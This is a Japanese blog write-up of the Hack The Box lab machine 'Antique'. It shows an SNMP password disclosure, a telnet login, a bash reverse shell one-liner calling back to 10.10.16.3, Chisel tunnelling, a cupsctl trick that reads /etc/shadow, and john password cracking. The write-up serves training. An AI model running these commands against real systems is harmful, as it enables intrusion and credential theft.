HTB Antique

HTBEasy3.X

Hack The BoxのAntiqueのLinux記事となります。
難易度3.2のWindowsマシンを攻略する過程を読んでみてください。

前回の攻略

今回のマシン情報

OS Linux

難易度 Easy 3.2

リリース日 2021/9/27

HPで以前発売されていたプリンターサーバのJetDirectというのがこのマシンです。

ポート探索

Nmap ⇒ telnet

Nmapの結果Openしているのはtelnetのみでした。
「JetDirect」という文字が2回出てきてます。調べるとHPのプリンターサーバのようで、今回のマシンのようです。

$ nmap -A -v -p- --min-rate 5000 10.10.11.107  -oN nmap_result.txt -Pn 

PORT   STATE SERVICE VERSION
23/tcp open  telnet?
| fingerprint-strings: 
|   DNSStatusRequestTCP, DNSVersionBindReqTCP, FourOhFourRequest, GenericLines, GetRequest, HTTPOptions, Help, JavaRMI, Kerberos, LANDesk-RC, LDAPBindReq, LDAPSearchReq, LPDString, NCP, NotesRPC, RPCCheck, RTSPRequest, SIPOptions, SMBProgNeg, SSLSessionReq, TLSSessionReq, TerminalServer, TerminalServerCookie, WMSRequest, X11Probe, afp, giop, ms-sql-s, oracle-tns, tn3270: 
|     JetDirect
|     Password:
|   NULL: 
|_    JetDirect

Nmap(UDP) ⇒ snmp

TCPのスキャンで攻略のとっかかりがなかったのでUDPでスキャンをしたところsnmpがOpenしています。
SNMPv1 server (public)となっており、publicで情報を取得できそうです。

$ sudo nmap -sU --top-ports 10 -sV 10.10.11.107

PORT     STATE  SERVICE      VERSION
53/udp   closed domain
67/udp   closed dhcps
123/udp  closed ntp
135/udp  closed msrpc
137/udp  closed netbios-ns
138/udp  closed netbios-dgm
161/udp  open   snmp         SNMPv1 server (public)
445/udp  closed microsoft-ds
631/udp  closed ipp
1434/udp closed ms-sql-m

161ポート探索

snmpwalk(全体) ⇒ 情報なし

$ snmpwalk -v 2c -c public 10.10.11.107
iso.3.6.1.2.1 = STRING: "HTB Printer"

通常上記のOIDはmibツリー全体を指すOIDであり、具体的な何かの情報ではないのですが、エンタープライズ製品ということでセキュリティ面から公開していないようです。

snmpwalk(private) ⇒ CVE-2002-1048

MIBツリーのprivate側(.1.3.6.1.4)を調べてみたところ1つ表示されました。

$ snmpwalk -v 2c -c public 10.10.11.107 .1.3.6.1.4.1   
iso.3.6.1.4.1.11.2.3.9.1.1.13.0 = BITS: 50 40 73 73 77 30 72 64 40 31 32 33 21 21 31 32 
33 1 3 9 17 18 19 22 23 25 26 27 30 31 33 34 35 37 38 39 42 43 49 50 51 54 57 58 61 65 74 75 79 82 83 86 90 91 94 95 98 103 106 111 114 115 119 122 123 126 130 131 134 135 
iso.3.6.1.4.1.11.2.3.9.1.2.1.0 = No more variables left in this MIB View (It is past the end of the MIB tree)

「.1.3.6.1.4.1.11.2.3.9.1.1.13.0」を調べたところExploitDBでパスワード漏洩の脆弱性のことであることがわかりました。

【ExploitDB】HP JetDirect Printer – SNMP JetAdmin Device Password Disclosure

OffSec’s Exploit Database Archive
HP JetDirect Printer - SNMP JetAdmin Device Password Disclosure. CVE-2002-1048CVE-2079 . remote exploit for Hardware pla...

16進数でエンコード(hex-encoded)されたパスワードが表示されているようです。

【NVD】CVE-2002-1048

NVD - CVE-2002-1048

Cyber Chefでパスワード解析

CyberChefで16進数を解析していきたいと思います。

取得できたパスワード。

P@ssw0rd@123!!123	"#%&'01345789BCIPQTWXaetuy‚ƒ†‘”•˜	

【Cyber Chef】今回は左側のメニューから「Data Format」-「From Hex」を選択して16進数を解析します。

CyberChef
The Cyber Swiss Army Knife - a web app for encryption, encoding, compression and data analysis

Exploit

telnet

パスワードは文字化け前の「P@ssw0rd@123!!123」を入力するとログインできました。

$ telnet 10.10.11.107                   
Trying 10.10.11.107...
Connected to 10.10.11.107.
Escape character is '^]'.

HP JetDirect

Password: P@ssw0rd@123!!123

Please type "?" for HELP
> ls
Err updating configuration

lsを打てなかったので、まずはHELPを見たいと思います。

> ?

To Change/Configure Parameters Enter:
Parameter-name: value <Carriage Return>

Parameter-name Type of value
ip: IP-address in dotted notation
subnet-mask: address in dotted notation (enter 0 for default)
default-gw: address in dotted notation (enter 0 for default)
syslog-svr: address in dotted notation (enter 0 for default)
idle-timeout: seconds in integers
set-cmnty-name: alpha-numeric string (32 chars max)
host-name: alpha-numeric string (upper case only, 32 chars max)
dhcp-config: 0 to disable, 1 to enable
allow: <ip> [mask] (0 to clear, list to display, 10 max)

addrawport: <TCP port num> (<TCP port num> 3000-9000)
deleterawport: <TCP port num>
listrawport: (No parameter required)

exec: execute system commands (exec id)
exit: quit from telnet session
> exec id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)

user.txt

> exec ls
telnet.py
user.txt

> exec cat user.txt

シェルの切り替え

毎回execをつけるのはやりづらいので、ReverseShellをしたいと思います。

(ローカル側の端末でListen)

$ nc -lnvp 44444                                        
listening on [any] 44444 ...

(JetDirect側の端末からbash接続)

> exec bash -c 'bash -i >& /dev/tcp/10.10.16.3/44444 0>&1'

(ローカル側の端末)

$ nc -lnvp 44444                                        
listening on [any] 44444 ...
connect to [10.10.16.3] from (UNKNOWN) [10.10.11.107] 48388
bash: cannot set terminal process group (1019): Inappropriate ioctl for device
bash: no job control in this shell
lp@antique:~$ id
id
uid=7(lp) gid=7(lp) groups=7(lp),19(lpadmin)
lp@antique:~$ 

Privilege Escalation

いつもやっている、sudo -lやfind / -permから権限昇格につながるような情報はありませんでしたが、netstatで手がかりがありました。

netstat

lp@antique:~$ netstat -tnlp
netstat -tnlp
(Not all processes could be identified, non-owned process info
 will not be shown, you would have to be root to see it all.)
Active Internet connections (only servers)
Proto Recv-Q Send-Q Local Address           Foreign Address         State       PID/Program name    
tcp        0      0 0.0.0.0:23              0.0.0.0:*               LISTEN      1036/python3        
tcp        0      0 127.0.0.1:631           0.0.0.0:*               LISTEN      -                   
tcp6       0      0 ::1:631                 :::*                    LISTEN      -  
このコマンドでやっていること
  • netstat : ネットワーク接続、ルーティングテーブル、インターフェースの統計情報などを表示するコマンド
  • -t : TCP(Transmission Control Protocol)の接続のみを表示
  • -n : アドレスとポートを数値で表示(名前解決をしない)
  • -l : リスニングしている(待ち受けている)ポートのみ表示
  • -p : 該当するプロセス(PIDとプロセス名)を表示
何が分かるのか?

このコマンドを実行すると、現在リスニング状態のTCPポートと、それを使用しているプロセスを一覧表示できます。

CUPSとは

CUPS(Common Unix Printing System)とは?
CUPS(カップス)は、Linux や macOS で使われるプリント管理システム です。
Unix 系 OS の標準的な印刷システムとして広く採用されており、プリンターの追加・管理・印刷ジョブの処理を担当します。

開発元: Apple(2007年に買収)
使用目的: ネットワークプリンタやローカルプリンタの管理
管理ツール: lpadmin, lpstat, cupsctl, lpr など
管理画面(Web UI): http://localhost:631/admin

Chiselでトネリング

CUPSの管理画面を開きたいですが、Antiqueからしか接続できません。
そのためChiselというトネリングツールを使うことでこちらからAntiqueのポートAにつなぎ、ポートAから自分自身(Antique)のCUPS(631)につなぎにいくということをすることで私のPCから管理画面を見れるようになります。

Chiselをwget

$ wget https://github.com/jpillora/chisel/releases/download/v1.7.7/chisel_1.7.7_linux_amd64.gz

gunzipで解凍

$ gunzip chisel_1.7.7_linux_amd64.gz

Antiqueからwget

$ python3 -m http.server 80     
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
lp@antique:~$ wget 10.10.16.3/chisel_1.7.7_linux_amd64

Chiselを起動(私のPC)

$ chmod +x chisel_1.7.7_linux_amd64 
                                                                                                       
$ ./chisel_1.7.7_linux_amd64 server -p 9000 --reverse
2025/03/10 02:16:11 server: Reverse tunnelling enabled
2025/03/10 02:16:11 server: Fingerprint oHFqXMaic9DAxdWQ43NcS8lYTG7aMQjjzTI5g/ZNqGY=
2025/03/10 02:16:11 server: Listening on http://0.0.0.0:9000

Chiselを起動(Antique)

lp@antique:~$ chmod +x chisel_1.7.7_linux_amd64

lp@antique:~$ ./chisel_1.7.7_linux_amd64 client 10.10.16.3:9000 R:8888:127.0.0.1:631 
<_amd64 client 10.10.16.3:9000 R:8888:127.0.0.1:631 
2025/03/09 17:18:53 client: Connecting to ws://10.10.16.3:9000
2025/03/09 17:18:57 client: Connected (Latency 206.22005ms)

Antique側も起動すると先程私のPCで起動したchiselとも繋がりました。
これで私のPCで「127.0.0.1:8888」でアクセスするとAntiqueに転送され「Antique自身から631」にアクセスしているように動きます。

2025/03/10 02:18:55 server: session#1: tun: proxy#R:8888=>631: Listening

CUPSへアクセス

cupsctl

lp@antique:~$ cupsctl ErrorLog=/etc/shadow
lp@antique:~$ cat /etc/cups/cupsd.conf

(省略)

  </Limit>
  <Limit All>
    Order deny,allow
  </Limit>
</Policy>
ErrorLog /etc/shadow

管理画面からエラーログを表示します。

john  --wordlist=/usr/share/wordlists/rockyou.txt --format=sha512crypt --fork=8 hash.txt

他のマシン情報

他の難易度3のマシンの攻略記事もまとめてますので良かったらご覧ください。

タイトルとURLをコピーしました